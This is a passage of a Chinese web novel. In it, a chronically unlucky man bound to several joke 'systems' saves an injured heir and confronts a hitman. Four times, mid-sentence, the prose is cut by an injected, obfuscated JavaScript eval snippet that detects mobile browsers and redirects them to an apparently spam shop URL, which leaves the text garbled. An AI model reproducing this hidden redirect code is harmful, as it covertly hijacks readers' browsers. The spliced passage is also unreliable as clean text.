老板娘阿姨嘴上说着“你这孩子心思怎么这么重”,又开始叮嘱他头上缝了针,要吃得清淡,不要吃海鲜,不要抽烟喝酒,当然也要记得别洗头,睡觉换个软和一点的枕头。 老小区的老邻居,总是不经意流露出浓浓的人情味。 郝运丝毫没有不耐烦,听对方说到第二遍,才拎着东西离开。 郝运住的房子,还是他爸妈结婚时买的,二十多年的老房子,装着老式的防盗门,一开门,叮咣吱呀响成一团。 楼上邻居都能听见,就不用说对门。 郝运还没进门,对门102室的张大爷就出来了。 “回来了?小运,人没事吧?” 他的视线先落向郝运的脑袋,再看他的脸色,虽然天色已经开始变黑了,小伙子平时一张脸就白惨惨的,但总体来说,看着和平时差不太多。 那就应该没大事。 张大爷眼睛忙,手也没闲着,把裤子口袋里早就准备好的二百块摸出来,往郝运的手里一塞。 “喏,早上我砸了人老花镜的钱。” 不等郝运推让,李奶奶也出来了,手上还端着一个碗,碗里满满当当。 郝运鼻子抽动。 是鸡汤,放了红枣、山药和胡萝卜。 咕噜噜。 郝运在肚子狂叫的同时,想起自己这一天除了早饭,还什么都没吃。 他现在不是郝运,是好饿。 李奶奶嫌弃地让张大爷别挡道,赶紧让开:“小运来,现在温着刚好喝,我刚还和你张爷爷说,你再不回来,我们就给你送医院去。” “谢谢李奶奶。” 郝运赶紧开门,放下手里拎的东西,又换了鞋,才接过等在门口的李奶奶手里的碗。 “小运,伤得还好吗?” 这是从小看着长大的孩子,李奶奶心疼他跟心疼孙子似的。 郝运和长辈相处有经验,他要一个劲说没事,长辈们反而不相信,适当叫惨,适当隐瞒,反而效果更好。 “缝了八针,现在脑袋还有点木木的,我都怀疑自己被砸傻了。” 果然,李奶奶和张大爷一听就笑了。 等郝运将汤倒进自己家的碗里,又洗干净碗拿出来,李奶奶先伸手避开他的伤摸摸头,才接过碗:“放心吧,看着还是那么聪明,没砸傻,汤记得喝,对伤口好……对了,我明天去菜场买点猪脑给你补补。” 郝运:“……谢谢李奶奶,就是太麻烦你了。” 李奶奶笑嘻嘻地:“不麻烦,顺带的,不买猪脑,我也要去买菜,得去菜场转转。” 她家习惯每天吃新鲜的菜,不是她去,就是老伴去,有时候两人一起去,当是散步运动。 郝运没和李奶奶客气,两家多年邻居,他平时在对门蹭吃蹭喝,等到过年过节,他妈都会还回去。 保健品、营养品,孝敬亲爹妈似的。 还有平时,李奶奶和张大爷生活上遇到问题,也都来找他帮忙。 几块钱的菜,他也就不算那么清楚明白了。 算太清,老人反而要不高兴。 又闲聊了几句,张大爷突然说:“早上故意撞车的那个司机已经被抓了,都出了新闻,听说这人就是报复社会,心情不好,随便挑辆车撞……你说这都什么人啊,开着车子,那就说明家里条件也还不错,这一闹,至少得判几年。” 现在满大街都是监控,人这么快被抓一点不奇怪。 郝运只是惊讶于撞车的原因是报复社会,他感觉不太像。 但也说不好,心理扭曲的人的想法,不是他这种正常人可以理解的。 和李奶奶、张大爷聊完,郝运这才回到家里开始吃饭。 作为一个独居人士,且随时会发生各种不可预料的事件,他家的冰箱里常年有着各种食物,比如,进微波炉三分钟就能吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375004|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的冻米饭。 有饭有肉有汤,郝运又给自己烫了一点小青菜,这算是非常完美的一餐了。 他将所有食物摆到桌上,然后去拿自己的平板。 综艺下饭,美味加倍。 嗡嗡嗡。 手机突然震动,郝运丝毫不着急,等他不急不缓走回桌边拿起手机,电话正好因为没接通而挂断。 来电人:妈妈。 郝运没回拨,默契让他等了两秒,果然电话再次响起。 沈茉的声音直接从电话那边传来:“小宝,我看到新闻说家旁边的路上发生了撞车,车子还爆炸了,你在附近吗?你还好吧?” 不愧是亲妈。 郝运老老实实交待:“还好,爆炸没炸到我,被外墙条砖砸了一下,脑袋缝了八针,其他没事,也没破财。” 俩母子不住一起,但约好了,郝运绝对不隐瞒妈妈任何事,不然妈妈要知道他报喜不报忧会更担心。 听到“八针”,沈茉松了一口气,说:“没事就好,你好好在家里养伤,弄点好吃的给自己补补,不要太省着钱知道吗?没钱了和妈妈说。” 她也忙,此时还在公司,说了几句便把电话挂了。 郝运这才按着自己的节奏开吃。 他从小养成的好习惯,说话不吃东西,不然容易呛死。 饭菜和汤也等到不烫嘴才入口,怕烫着,继而被噎死。 鸡汤很好喝,综艺很好看,除了闭眼睁眼都能看到两个微微发光的光屏,和六个上蹿下跳,已经持续很久时间,想要引起他注意的虚拟小人,他可以把今天归为普通倒霉的一天。 呼噜~ 又喝了一口鲜美的鸡汤,郝运依稀记得绑定他的系统里有一个厨神系统。 郝运看着面前六个小人,除了骑着大鲤鱼的小孩,剩下五个从少年到老头,横跨全年龄段。 除了一身华丽古装扮相,一头珠翠羽毛,雌雄莫辨的青年,他猜出了大概是变美系统外,其他几个他真不太分得出来。 郝运问:“谁是厨神系统?” 六个小人一瞬间全都瞪向他,这人狗不狗,狗不狗! 咳。 郝运突然想起来,自己先前把它们都禁言了。 一想到那个比置身菜市场还要夸张的场面,他就觉得头顶的伤口疼。 “你们,谁是谁举手。” 反正全部解开静音模式是不可能的。 顶着漂亮少年形象的厨神系统一下就蹦到了郝运面前,举手,举手,差点戳到郝运鼻孔的用力举手。 郝运往后仰了一下头,说:“行,你现在可以说话了。” 下一秒,厨神系统清亮的少年音立即响起:“宿主!作为一名被绑定的人类,你现在的行为非常不合适!民以食为天,暖饱思淫-欲,食物还排在淫-欲之上,你怎么可以先和那个生子系统说话,而不是和我说话!” 哟,还争上了。 郝运无赖:“那你解绑吧。” 厨神系统:“……”这个宿主怎么回事,和谁说话都是解绑,这年头的人类都躺平成这样了?连系统都不想要? 5. 第 5 章 厨神系统气鼓鼓不说话。 有一点他猜错了,不是郝运躲平,连系统也不想要,而是任谁一下子被绑了八个系统,都得害怕一下。 何况是郝运这种“好运”的天选之子。 在发现脑海里多了八个系统的那一瞬间,他连自己衣冠冢立哪里都想好要交待给李原了。 就他这体质,就“系统”这玩意能沾染上的“故事”,足够让他在一场场事故里死无全尸。 郝运等了两秒,没等来想要的结果,追问:“不能解绑?” 漂亮少年形象的厨神系统瞪着他,突然改用一种机械死板的声音说:“请宿主确认,是否与我解除绑定?本系统存在的意义就是让人类创造美食、享受美食,作为一个不懂美食的意义的人类,你有难了,解绑或成为厨神失败,你都将受到惩罚……” 郝运:虽然不合理,但不意外。 郝运:希望他不会听到“抹杀”这样的答案。 在郝运已经做好了拿到“最差”答案的时候,厨神系统一个大喘气,说出最后半句词:“你将失去味觉。” 郝运想,这好像比抹杀要好上很多,厨神系统看来确实是比较“温和”的人类美好生活辅助系统。 比起失去小命,只是失去了味觉而已。 他与厨神系统的虚拟小人对视,面不改色:“否,确认不解绑,你说得对,民以食为天,能够亲手制作出美味的食物,我觉得这是一件非常了不起的事情,而且人生在世,有一技傍生,非常让人心安,真棒,你真是个好系统。” 厨神系统:“……” 这人真是狗吧? 郝运拿起鸡汤又喝了一大口,安抚一下受到惊吓的小心灵。 作为一个被迫的宅男,人生的乐趣本就比别人少,唯一的口腹之欲,真的不能再被剥夺。 不就是当厨神么,他学不就行了。 厨神系统缓了缓,对着这位“狗”宿主甩出一份“厨神修炼手册”。 郝运眯了一下眼睛,让自己适应了一下突然出现在半空中的“书”。 快速阅读—— 厨神修炼内容第一条,且“加粗、下划线”标记为最重要的一条:锻炼身体。 郝运:感觉不合理,但又似乎在情理之中。 这年头做什么事情不需要一个好身体? 没力气怎么舞得动刀,没力气怎么颠得动锅。 厨神认定:做出的美食能把人好吃哭(不要妈妈的味道、家的味道,纯好吃,硬好吃!不搞感情加分那一套,我是正经厨神系统!) 似乎感受到了其中的某种怨念…… 郝运认了,接受了接下来要面临刀山火海下油锅的日子。 一个也是看,两个也是看,索性就着鸡汤,在美食的精神加持下,郝运与剩下几个系统也进行了“友好”的交流。 小小孩的生子系统和大小孩的厨神系统都不靠谱,郝运眼神一扫,看向了这一群“人”里的精英中年男。 身着西装三件套,鼻梁上架着金丝边眼镜,一看就是风度翩翩的成功人士。 即使只有手掌大小,也不影响从它身上散发出来的靠谱的气息。 郝运曾经想象中自己人到中年后的形象巅峰也不过如此。 被点了名的中年帅大叔一推眼镜,得意上前:“你好宿主,我是盲盒系统,给钱就抽,没钱也能抽,盲盒的世界,也许你能抽出一个世界,本系统可解绑,无需任何代价,宿主,请问你需要解除吗?” 虽然它脸上的自信有点欠扁,但郝运掐着自己的小指头,看着对方好几秒。 嗯,有生活经验的人都知道,有些东西吧,很多时候看着都没什么用处,可是一旦要用到了,就是少不了它。 这个盲盒系统也有点这么个意思。 别的东西扔了都能再买,但系统可不行。 所以暂时还是留着吧。 郝运愉快地决定了,然后视线转啊转,在剩下三个系统上点兵点将。 一个变美系统,一个完美犯罪系统,还有一个吃瓜系统。 最后他选中了穿着华丽古装,长得雌雄莫辨的那一位。 “请问你是?” 古装美人朝着他露齿一笑,既不娇媚,也不粗犷,纯美,硬美,看得人赏心悦目。 “看到我的样子,你就应该知道了吧,我是变美系统,这些乱七八糟的东西和我完全不是一个等级的,宿主,我能让你变成绝世大美人,无任何副作用,不动刀不吃药不伤害身体,纯天然美人,从此走上人生巅峰,日薪208万的生活也是指日可待……” 它轻轻一拨垂在侧脸的头发,微抬下巴,充满自信:“我,你值得拥有。” 据它的资料显示,没有人能拒绝变美,也没有人能拒绝变成大明星。 郝运眼皮子也没抬:“解除绑定……” 变美又不能当饭吃……emmm,是能靠美吃上饭,但…… 他不能不吃饭,但他可以不变美,因为他有妈妈给饭钱。 古装美人表情顿住,额头冒黑线也是美美的,它语气一变,飞快说:“宿主,你确定?变美失败或解绑会受到最严厉的惩罚,抓不住成为白天鹅的机会,那你就会变成癞蛤蟆。” 郝运:“……” 说一百遍,虽然不合理,但不意外。 最后剩下阴湿小哥和缺了颗牙的大爷,一个犯罪,一个吃瓜,这俩组个cp出道得了。 作为在现代社会长大的三观正确的青年,郝运不喜欢犯罪,伸手一点,选了缺牙大爷。 缺牙大爷对着他露齿……露齿洞一笑:“宿主好,我是吃瓜系统,作为一名十分有经验的吃瓜群众,我很自觉地先告诉作为宿主的你,你的系统任务是,每天必须最少吃到一个瓜,不吃瓜的人生没有意义,没有意义的人生也就没有存在的意义,解绑或任务失败,你将会被抹杀。” 来了。 终于来了个不干就死的霸王条款。 郝运已经说累了,不意外,真的不意外,他最后看向阴湿小哥时眼神已经疲惫。 作为一个完美犯罪系统,阴湿小哥显得话少又利落。 “宿主需要解除绑定吗?本系统可随时解绑,无任何惩罚。” 东山老虎吃人,西山老虎也吃人,突然来一只凶巴巴的老虎说它不吃人。 郝运怎么就不那么信呢。 生性多疑.jpg 郝运一口气干完最后一口鸡汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375005|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个系统都没能解绑。 不能解的他解不了,能解的他不愿意解,还有一个不敢解—— 谁愿意把“核武”送别人?解绑的系统肯定得找下一个宿主吧,看看今天白天的撞车事件,要被完美犯罪系统找到个一心报社的人,那场面简直不敢想。 郝运的独居生活就是吃完饭收拾桌子,洗干净碗筷,把洗理台上的水渍擦干,最后把厨房抹布洗干净,晾到架子上。 饭后消食,靠墙蹲十五分钟,收衣服、叠衣服,看时间差不多就去跑步机上走半小时。 平时他都会选慢跑半小时,今天头上带伤,就减轻了运动量,再做一做拉伸,洗个澡,换个舒服的家居服,正式进入到晚上休闲时光。 趁着这点时间,郝运把几个系统的功能和规则又仔细研究了一下。 获得新手礼包三个,包括生子系统给的一胎99宝丸,和变美系统给的“晚上一吃就睡早睡丸”一瓶,盲盒系统“新手随机抽机会x3”。 获得系统任务n个,包括但不限于,每日锻练身体……郝运看到完美犯罪系统给出的基础任务也是锻炼身体时,实在有点心情复杂。 他给李原发了条信息过去:【记得每天锻炼身体。】 李原秒回:【?】 白天在医院睡了一天,晚上郝运不太睡得着,虽然他独居不上班,自由职业工作时间自由,但他作息还比较规律。 在吃一颗“一吃就睡”和偶尔熬个夜之间,他选择了后者。 偶尔熬的夜,和偶尔喝的汽泡小甜水,一样都让人愉快。 他完全忘了世上还有乐极生悲一说,在他身上,不用乐极,也不讲究概率,“生悲”是一件极度简单的事。 午夜0点前的几分钟,郝运暂停了正在看的电影,去上了个厕所。 等他从卫生间出来,,一个拖沓吃力的脚步声,隔着隔音效果并不太好的门板,在这安静的大半夜清晰钻进郝运听觉灵敏的耳朵。 像是那种没了力气,还强撑着抬腿的动静。 郝运犹豫要不要出去看一眼,他们这个小区的住户大多上了岁数,没几个年轻人,万一是哪位老人大晚上回来犯了点毛病,这要摔了昏了就糟糕了。 而那一点犹豫还没落下,就听到咚一声,那声音听着明显是摔了,还是摔在他家门上。 这下省了犹豫了。 郝运脚下转了个方向,走过去一把将门拉开。 外面还有一道老式防盗门锁着,倒也不怕有什么危险。 他视线往外一扫,黑乎乎的楼道里有一点从外面透过来的路灯亮光,倒在他家门口的是个男人,刚巧他看清了那张脸。 是白天那位被他从被撞汽车里拖出来的虞总。 这一天的,是过不去了? 还是这虞总叫他救上瘾了,白天救一次不算,这会儿自动刷新到他家门口叫他救来了? 心里满满一堆吐槽,郝运手上已经解锁了手机,开始拨110。 感谢现代人上厕所带手机的好习惯,他能省了几步路,又节约了几分钟时间,希望这位虞总能撑到有人来救他。 正当郝运拿着手机讲电话,倒在地上的人像是缓过了晕眩,慢慢睁开了眼睛。 6. 第 6 章 “嗬……” 虞总发出一点虚弱的气音,足够郝运发现他“醒”了。 郝运蹲下身,手上拨着120还没挂断,他问:“你怎么样,哪里伤了?哪里难受?我这边拔了120,救护车马上来。” 虞总:“……” 他嘴巴动了动,郝运听不清,只能隔着防盗门贴过去一点。 虞总喘了几口气,终于有了一点力气,说:“把门关上,听到什么动静都不要出声,也不要出来。” 他说着像是要咳,但是发不出声音,最后只是又发出了轻微的“嗬、嗬”声。 郝运看他捂着腹部那边,黑乎乎的楼道里,人又穿了件深色的衣服,他也看不真切,只觉得似乎黑色的深浅不太一样。 不会是肚子被人扎了个洞吧? 不然怎么就倒地上起不来,总不能是大半夜低血糖犯了? 完美犯罪系统平淡开口:【正腹部一处刀刺伤,腹腔有积血,凶器为单刃锋利器具,类似匕首,创口深,创面整齐,说明刺这一刀的人下手很狠……结合他说的话,宿主,凶手应该就在附近,推断这种情况,不是仇杀,就是被雇凶的专业杀手,哪种都是真要命。】 要不是阴湿小哥形象的眼神里瞬间亮起的光,它这平静装得别人都要信了。 郝运人都有点麻了,报上地址,催120赶紧来。 挂断电话,郝运伸手就把家里的防盗门开了一条缝。 外面的虞总还没发现,他脑海里的系统先叫唤上了。 缺牙大爷惊讶:【哎哎?你怎么开门了,没听人让你把门关死在屋里装死吗?虽然人生的意义在于吃瓜,但咱们也不能盲目为了吃瓜献出人生啊……这一看就有危险!】 除了完美犯罪系统的其他四个系统一起点头。 郝运“接受”了几个系统的存在后,就没有再把它们都静音处理,只调低了音量。 他闻言,手上动作不停,人一下子就从门缝里挤了出来,而那位靠着门的虞总都没有因此摔倒。 同时用意识回答他们:【放心,一般没有人会在大庭广众之下干杀人灭口的事,所以,不仅我很安全,这位虞总也很安全。】 几个系统:哪里来的大庭广众?这货不是熬夜熬出了幻觉? 坐靠地上的虞总也看到郝运出来了,顿时着急:“回,屋里去……外面危,危险……” 郝运真怕他急吐血了。 他伸手摸了一下对方腹部的衣服……湿漉漉的。 他手指轻捻,放到鼻间一闻,顿时闻到了血腥味。 犯罪系统说得没错。 “把嘴闭上,这位善良的先生,不然我怕你肚子里的血从嘴里喷出来,现实生活里我没见过人吐血,你别吓我。” 郝运手上动作不停,嘴上还轻松与人闲聊。 他伸手又摸了一下,没摸到凶器,应该是刺这一刀的人直接把刺完把刀拔走了,没有留在伤口上。 “我先给你止血,你别乱动,痛也忍着。” 不知道是这位虞总因为失血失去了力气,还是因为他的语气太过专业且带着不容置疑,他没有再纠结让人回屋里去的事,而是顺着话回答说:“我、我现在……感觉……不、不到痛。” 有对方的肾上腺素打配合,郝运轻吹了声口哨,伸手就打开了急救箱……这东西一直摆在他家玄关的柜子上,刚才出门前,他都不用眼睛看,顺手就带了出来。 他脱下身上的棉制家居服上衣,利落叠成小方块,往人肚子上的伤口处一按,伸手精准从急救箱里拿出绷带,环着人的腰,几下缠了个结实。 尽量止个血。 虞总都没反应过来,他的伤口已经被初步处理结束。 他不由怀疑,这人是医生? 不过不等虞总发问,郝运已经拿出了手机,在上面点点点,然后一张嘴开始叭叭叭—— “晚上好,大家晚上好,刚开播就进了快十个人,看来夜猫子还真不少,正好闲着也是闲着,我现在给大家直播一个,在半夜如何救助一个受伤的野生霸总,虽然这种情况一般不太常见,但是知识学杂一点不用怕,万一有一天就像我这样用上了呢。” 全民直播时代,但凡有个手机就能上网播一个。 开直播不奇怪,有人在这种时候开直播也不是什么稀罕操作。 但这人是郝运,要是李原看到了,非得把眼珠子瞪出来。 他家运哥这是疯了? 此时没有李原,却有几个系统在。 【哇,你真开直播啊。】 【哇,你有好几十万粉丝啊。】 【哇,你也不是这个赛道的主播啊,播这个干什么啊?】 …… 郝运全当没听见,也不回答这几个哇哇怪。 手机屏幕的光映在郝运的脸上,大晚上,显出惨白色,灯光由下往上打出阴影,惨白中又透着阴森。 正被摄像头怼着的虞总僵住。 郝运发现了他的不自在,立即安慰:“你的脸没入镜,不过既使拍到了你也不用担心,这么狼狈的情况下,你看着也挺帅的。” 虞总:“……”他担心的是帅不帅吗? 只听郝运压着声音对着手机继续开聊—— “人怎么伤的我不知道,我半夜起来上厕所,听到有人摔我家门板上了,出来看情况发现的。” “已经报警也叫救护车了,现在在等,应该快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375006|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。” “怎么伤的?我也不清楚,人现在说话挺吃力,我也不好一直拉着他问情况。” “谢谢大哥送的礼物。” …… 楼道里突然变成了直播现场,听郝运的声音也能感受到那一份热闹,网络连接了无数个世界,此时正有无数双眼睛盯着他们这个小小楼道的一方空间。 如果此时,在这里发生点什么,那么只需要短短几秒,就会被全国各地的人看到。 这可不就是大庭广众之下。 虞总靠坐在那里,轻笑一声,完全放松了下来。 这个救了他的人很聪明,以及……他通过脸+头上纱布这两个特征,认出了这个救了自己的人是谁。 他也是没想到,同一天内,他竟然被同一个人救了两次。 大概十分钟左右,警车和救护车几乎同时赶到。 那位虞总被人抬上担架,郝运关了直播,向警察简单说明了情况,留了联系方式,然后进屋换了身衣服。 他的家居服脱掉后,身上就一件老头背心,实在不太能出门见人。 不过也还好还有件老头背心,不然刚才警察和医生看到的画面应该很美丽。 不到三分钟,郝运拿了家里钥匙出门,跟着上了救护车。 帮人帮到底,送佛送到西。 他决定跟去看看情况。 倒霉蛋郝运不爱出门,能不出门就不出门。 外面人事物太多,倒霉起来的不可控程度太大,但也因为倒霉了这些年,他家祖孙三代倒霉出来的经验—— 一旦有些强因缘的人事物出现时,不能回避,也回避不了。 该发生的事一定会发生,否则结果只会更糟。 热心市民郝运先生上车时看到附近几幢楼的灯不断亮起,越来越多的人探出头看热闹。 他想,吃瓜系统应该给这些人才对,只可惜这个破系统竟然不能解绑。 陪着有缘分的虞总再一次回到熟悉的医院,并为对方垫付了医药费。 郝运没钱,但他有妈妈。 沈茉女士直接给他转了五万块钱过来,让他不够再找她要。 一起过来的警察他们在查人员身份,联系家属。 虞总身上没有任何证明身份的东西,也没发现手机,不知道是没拿,还是掉了。 好在有郝运在。 因为上午刚进过一次这家医院,郝运提供了这一条信息后,很快就联系上了虞总的司机。 过了大概半小时,那位虞总还在手术室里抢救,他的家人终于赶到了。 郝运一眼看过去,立即直呼好家伙。 这不是他们县城所属市的首富夫妻嘛? 7. 第 7 章 首富分很多种,世界首富和全国首富倒是挺好认,再往下省级、市级的,虽然也有排名,但除非自己榜上有名,不然关注的人真不多。 作为一个土生土长的县城本地人,唯二进公司打工的经历,也没出过县城,郝运本来也不该认识这样的有钱人。 说来还是托了他妈妈的福。 他记得就是上一年,他妈妈公司办年会,他被拉着去蹭了次大餐。 正巧在那家酒店,遇到了首富家的公司也在那里办年会。 他妈妈沈茉女士就带着他去和人打了个招呼。 不过那次郝运没见着虞总这位首富之子,只见到了老虞总夫妻。 这一家子长得倒不怎么像,气质也全然不同,三个人三模三样,也怪不得郝运没把“虞总”和首富家联系到一起。 “怎么样了?情况怎么样了?人没事吧?” 首富夫妻一来,就直奔向抢救室门前的两位警察询问情况。 首富虞女士比郝运他妈妈要大上十来岁,今年应该快六十的年纪,可实际看着像是只有四五十岁。 她大晚上着急出来也没打扮,头发随意挽在脑后,身材和脸微微有点富态,一眼看着就让人觉得很舒服,很亲和。 只是此时她的脸上全是担忧。 她丈夫站在她身边,伸手扶着她,脸上是同款表情,但他看着像是话不多的人,戴了副眼镜,斯斯文文的,妻子开口问了,他便不再多做追问,就等着警察的回答。 郝运记得他好像听他妈妈说过,这位戴先生是位中学老师,教了一辈子书,是个非常温和豁达的人。 可能缘于沈茉女士当时介绍这对夫妻时的正面评价,郝运对他们的大概印象也不错。 【这么有钱的家庭,还能这么和谐,还真挺少见,记录(?)。】 吃瓜系统的缺牙大爷绕着虞首富夫妻绕了一圈又回来。 几个系统里,就数它最激动,大晚上的,除了犯罪系统,其他四个系统兴趣缺缺都几乎要进入休眠模式了,一个个停在郝运的肩膀上当挂件,就它完全不符合它的老年人形象,精神得跟猫头鹰似的。 郝运听它一个劲问“这是谁啊”,便在脑海里顺嘴回答了它。 结果这系统更来劲了。 系统太多,一时没太注意到细节的郝运,这会儿终于回味过来。 【等下,一般的吃瓜系统不都是看到人直接就出瓜的吗?你怎么不一样?】 不停在这里打勾记录是个怎么回事? 缺牙大爷闻言回头,对着郝运咧嘴一笑:【因为我是真正的吃瓜系统啊,字面意思,吃瓜看八卦,你的任务就是四处寻瓜,然后我们两个一起吃。】 郝运:【……】 就他这运气,他还在指望什么? 一边的阴湿小哥犯罪系统微微扯了一下嘴角,像是在说瞧这愚蠢的人类。 他待着无聊,一头扎进了抢救室,穿墙而入。 缺牙大爷一看立即也跟了上去:【等等我啊,吃瓜要一起吃才更有趣,知不知道!】 郝运的注意力转回首富夫妻那边。 两个警察看样子没认出来这对夫妻的身份,表情没什么变化,简单介绍了情况。 “人还在里面抢救,报警的是这位小哥,医药费也是他帮着垫付的。” 首富夫妻这才发现抢救室外还有个不是警察,不是医护人员的年轻男人。 “谢谢你,你是……” 戴老师微皱眉,露出思索的神情。 他看郝运觉得眼熟。 虞女士则是很快认出了郝运,说:“是沈总的儿子,我记得好像是叫郝运?” 因为名字吉利而被记住。 戴老师立即“啊”了一声,说:“对对,我想起来了,没想到是沈总的儿子,这也真是太巧了,我替我们家小惜谢谢你,小运是吧,你自己没事吧?” 他的视线落到了郝运的头上。 郝运觉得这会儿不是个说“故事”的好时机,他这头上的伤和虞总有点关系,但又不算是对方害的,也不是刚才伤着的,是早上的时候出的事。 顶着两道歉意夹杂着感激的眼神,他只好说:“虞总,戴老师好,我没事,这伤是早上弄的,和……小虞总关系不大。” 他不主动搭话,虞总夫妻担心儿子,也都没有心情聊天。 几个人就默默在手术室外等着。 不过没几分钟,沈茉女士也到了。 沈女士一向是个工作狂,这个点没睡是常态,给儿子转完账后,她满心记挂着儿子这边的情况,也没法安心待在公司,索性就赶过来看看。 顺便给他打包了一份宵夜:“你在这里也帮不上忙,不如就先回去吧?” 深知儿子的体质,沈茉担心他脑袋上的伤没好,到时候再出点意外。 郝运摇头轻声说:“我今天遇到他两次,第二次直接倒在我们家门口。” 听他这么说,沈茉即使再担心,也不说话了。 他们姓郝这一家子肯定有点什么问题,从郝运的爷爷开始,就异于常人的倒霉。 爷爷、爸爸、儿子祖孙三代的经历说起来可以写几本书了。 而再往上推,听郝运的爷爷郝荣生说,他爸就不倒霉,只是一个普通人。 他自己小时候也还正常,是从某一天开始,突然转了运,霉神上身。 郝运的情况则比他爸郝佑还要严重一些,他从被怀上那天起就开始倒霉。 因为孩子在母体,当妈的避免不了被殃及池鱼……想起那段日子,沈茉都觉得糟心。 喝水呛到,吃饭噎到,只要旁边有点什么东西,她的肚子总会因为各种意外而不小心撞到。 还有到怀孕后期,突然胎动减弱减少,也是郝家已经倒霉了两代有经验,沈茉立即被送医院抢救。 脐带绕颈四周的郝运,这才没有胎死腹中,捡回一条小命。 事后想想,真是万幸母子都平安。 因为这事,郝佑差点没哭晕在手术室外,老婆才从手术室出来,他后脚就去做了结扎。 即使孩子霉运加倍,他都没信心能养活养大,他都不想再让老婆生了。 没孩子又不会死人,但再怀孩子他老婆真不知道会怎么样。 沈茉想到自己丈夫,突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375007|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点走神。 不过她几乎是立即就收敛了心神,她没再管儿子,而是走到虞总夫妻身边,轻声安慰了人两句。 便陪着一起等。 郝运见妈妈没坚持让自己回家,抢救室又没动静,便低头看了一眼他的宵夜。 两个肉包子,一袋牛奶,还带一点微温,正适合入口。 看包装袋就知道,这是他妈妈公司食堂出品,当天纯手工制作,和外面卖的那种不一样。 抢救室外不是吃东西的地方,他拿着袋子就去了旁边的楼梯间。 他靠角落一蹲,既不挡着路,也不怕有人突然出现撞到他,杜绝摔下楼梯、包子呛进气管这种可能。 肉包子的香气随着郝运细嚼慢咽的动作飘散在楼道内,一道如夜猫般没有发出任何声息的人影,在上楼进入到这层楼的拐角前停下了脚步。 他抬头,透过扶手栏杆的空隙寻找着气味的来源。 郝运不急不缓将嘴里的东西咽下,他视线微微低垂,在疏散指示灯幽暗的绿光中,他看向楼梯下方。 他视力很好,依稀看到一个戴着深色鸭舌帽的人影站在那里。 似乎是个男人。 郝运又小小咬了一口包子……凌晨抢救室外的楼梯间里,出现了一个戴着鸭舌帽的男人? 这个人与此时正躺在抢救室里的人没有关系的可能是多少呢? 无声的僵持着。 一点只有郝运能看到的亮光嗖一下穿墙而来。 【哪呢哪呢哪呢,奇怪的人在哪呢!】 缺牙大爷像一颗失控的弹力球,在郝运所在的这一片空间四处乱飞。 很快,它就看到了郝运所说的人。 【是个男的。】 【四五十岁的年纪。】 【长相没什么特点,挺普通的,就是眼神有点阴沉……他是来对付那个小虞总的杀手吧?】 吃瓜系统绕着人飞了两圈,又嗖一下飞回郝运面前,开始呱呱呱。 这点时间,犯罪系统也来了。 比起缺牙大爷,阴湿小哥十分淡定地去看了人一眼,然后回来。 【专业杀手,身上有五条人命,十分凶残,对上他,宿主你的胜算只有两成。】 来真的啊! 郝运知道这事上犯罪系统应该比较有用,但是没想到能直接得到这么大一个瓜。 那位小虞总到底干了什么,被人这么追着杀? 难道当市级首富家的孩子就这么危险了? 郝运将最后一口包子塞进嘴里吃掉,塑料袋塞口袋,牛奶拿在手。 “杀手大叔,你站在那里好一会儿了,不累吗?” 阴湿小哥兴奋了,缺牙大爷则cos起了呐喊者。 被点名的大叔则在“杀人灭口”和“风紧扯呼”之间横跳。 而下一瞬,郝运说:“大叔,对方出多少钱给你,我们这边可以付双倍买你收手外加一点卖家信息……唔,干你这一行应该没有什么职业操守要遵循吧?” 他对上杀手的胜算只有两成,但金钱对上对方的胜算就不一定了。 这是杀手,又不是死士。 8. 第 8 章 短短几秒,楼梯间里安静得仿佛没有一个人。 郝运很有耐心,说:“你知道现在手术室里躺着的那个人是谁吗?他是我们市首富家的独生子,虽然说听着是没有世界首富之类的有气势,但他家也有将近百亿的资产,百亿啊,让你杀人的雇主给你多少钱?几万?几十万?我猜也不可能更多了。” 